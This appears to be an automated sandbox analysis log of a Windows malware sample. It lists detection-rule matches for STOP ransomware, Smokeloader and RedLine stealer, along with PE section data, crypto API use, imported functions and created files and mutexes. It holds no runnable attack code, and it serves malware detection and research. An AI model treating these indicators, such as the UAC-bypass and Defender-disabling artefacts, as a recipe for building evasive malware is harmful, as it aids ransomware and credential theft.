                          Source: 11.2.EE23.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 11.2.EE23.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
                          Source: 00000005.00000002.2445621765.0000000002E60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
                          Source: 00000004.00000002.2273933251.0000000004700000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
                          Source: 00000004.00000002.2274024832.0000000004731000.00000004.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
                          Source: 0000001E.00000002.3076038176.0000000000400000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORYMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
                          Source: 00000016.00000002.2534124903.000000000488E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
                          Source: 0000001E.00000002.3077911202.0000000002100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
                          Source: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 00000000.00000002.2042490053.0000000004841000.00000004.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
                          Source: 00000004.00000002.2273984194.0000000004710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
                          Source: 0000001E.00000003.2735023730.00000000021D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
                          Source: 00000000.00000002.2042176202.0000000002E30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
                          Source: 00000025.00000002.2875462072.0000000008710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender
                          Source: 00000025.00000002.2875462072.0000000008710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCMD author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF
                          Source: 00000025.00000002.2875462072.0000000008710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
                          Source: 00000025.00000002.2875462072.0000000008710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_Anti_OldCopyPaste author = ditekSHen, description = Detects executables potentially checking for WinJail sandbox window
                          Source: 00000018.00000002.2615160955.00000000048C3000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
                          Source: 00000004.00000002.2273859448.0000000002E79000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
                          Source: 00000018.00000002.2615418676.0000000004A80000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 00000000.00000002.2042036290.0000000002D10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
                          Source: 00000011.00000002.4433775392.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 00000011.00000002.4433775392.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
                          Source: 00000014.00000002.2502823909.000000000051E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
                          Source: 0000000F.00000002.2431912071.00000000048A9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
                          Source: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 00000016.00000002.2534321369.0000000004970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 00000010.00000002.2429114734.000000000492D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
                          Source: 00000005.00000002.2445721326.0000000002F29000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
                          Source: 00000010.00000002.2429235251.00000000049C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
                          Source: 00000019.00000002.2626230115.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 00000019.00000002.2626230115.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
                          Source: 0000000A.00000002.2397649802.0000000002F47000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
                          Source: 00000012.00000002.4433963494.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 00000012.00000002.4433963494.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
                          Source: 00000017.00000002.2543816835.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: 00000017.00000002.2543816835.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
                          Source: 0000001E.00000002.3076741866.000000000050D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
                          Source: 00000000.00000002.2042386552.0000000002E7A000.00000040.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
                          Source: Process Memory Space: EE23.exe PID: 1784, type: MEMORYSTRMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: Process Memory Space: EE23.exe PID: 2284, type: MEMORYSTRMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: Process Memory Space: EE23.exe PID: 5968, type: MEMORYSTRMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: Process Memory Space: EE23.exe PID: 5644, type: MEMORYSTRMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: Process Memory Space: EE23.exe PID: 3560, type: MEMORYSTRMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: Process Memory Space: EE23.exe PID: 5876, type: MEMORYSTRMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: Process Memory Space: EE23.exe PID: 5824, type: MEMORYSTRMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: Process Memory Space: EE23.exe PID: 2836, type: MEMORYSTRMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: Process Memory Space: EE23.exe PID: 6324, type: MEMORYSTRMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: Process Memory Space: EE23.exe PID: 3292, type: MEMORYSTRMatched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
                          Source: EE23.exe.2.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                          Source: 3EE1.exe.2.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                          Source: E5F3.exe.2.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                          Source: EE23.exe.11.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                          Source: build2.exe.18.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                          Source: build2[1].exe.18.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                          Source: 30.2.E5F3.exe.5590000.6.raw.unpack, PBE.csCryptographic APIs: 'TransformFinalBlock'
                          Source: 30.2.E5F3.exe.5590000.6.raw.unpack, Strings.csCryptographic APIs: 'CreateDecryptor'
                          Source: 30.2.E5F3.exe.5590000.6.raw.unpack, EwV3ECxYhIse1SOarW.csCryptographic APIs: 'CreateDecryptor'
                          Source: 30.2.E5F3.exe.5590000.6.raw.unpack, EwV3ECxYhIse1SOarW.csCryptographic APIs: 'CreateDecryptor'
                          Source: 30.2.E5F3.exe.5590000.6.raw.unpack, EwV3ECxYhIse1SOarW.csCryptographic APIs: 'CreateDecryptor'
                          Source: 30.3.E5F3.exe.4baff08.1.raw.unpack, EwV3ECxYhIse1SOarW.csCryptographic APIs: 'CreateDecryptor'
                          Source: 30.3.E5F3.exe.4baff08.1.raw.unpack, EwV3ECxYhIse1SOarW.csCryptographic APIs: 'CreateDecryptor'
                          Source: 30.3.E5F3.exe.4baff08.1.raw.unpack, EwV3ECxYhIse1SOarW.csCryptographic APIs: 'CreateDecryptor'
                          Source: 30.2.E5F3.exe.4f30ee8.5.raw.unpack, EwV3ECxYhIse1SOarW.csCryptographic APIs: 'CreateDecryptor'
                          Source: 30.2.E5F3.exe.4f30ee8.5.raw.unpack, EwV3ECxYhIse1SOarW.csCryptographic APIs: 'CreateDecryptor'
                          Source: 30.2.E5F3.exe.4f30ee8.5.raw.unpack, EwV3ECxYhIse1SOarW.csCryptographic APIs: 'CreateDecryptor'
                          Source: BA7B.exe.2.dr, TaskStatusCustomAttribute.csTask registration methods: 'ManagedThreadIdCreateFixedDateRule', 'getNegativeOneCreate', 'OnHandleCreated'
                          Source: 78E8.exe.2.drBinary string: XGetProcessImageFileNameWpsapi.dllGetVolumePathNamesForVolumeNameWKernel32.dllNtQueryInformationProcessNtSetInformationProcessNtQueryInformationThread\SystemRoot\A:\Device\LanmanRedirectorx:\\Device\SeDebugPrivilegeS-%lu-%s0x%02hx%02hx%02hx%02hx%02hx%02hx%s%lu%s-%luVolatile EnvironmentUSERDNSDOMAIN0123456789ABCDEF==
                          Source: classification engineClassification label: mal100.rans.troj.adwa.spyw.expl.evad.winEXE@84/332@25/22
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_00411900 GetLastError,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,_memset,lstrcpynW,MessageBoxW,LocalFree,LocalFree,LocalFree,11_2_00411900
                          Source: C:\Users\user\Desktop\KMPrEVaSfH.exeCode function: 0_2_02E7D527 CreateToolhelp32Snapshot,Module32First,0_2_02E7D527
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_0040D240 CoInitialize,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,CoUninitialize,CoUninitialize,CoUninitialize,__time64,__localtime64,_wcsftime,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,swprintf,CoUninitialize,CoUninitialize,11_2_0040D240
                          Source: C:\Windows\explorer.exeFile created: C:\Users\user\AppData\Roaming\ubrawdbJump to behavior
                          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5356:120:WilError_03
                          Source: C:\Users\user\AppData\Roaming\svchost.exeMutant created: NULL
                          Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \BaseNamedObjects\Local\SM0:3192:64:WilError_03
                          Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4140
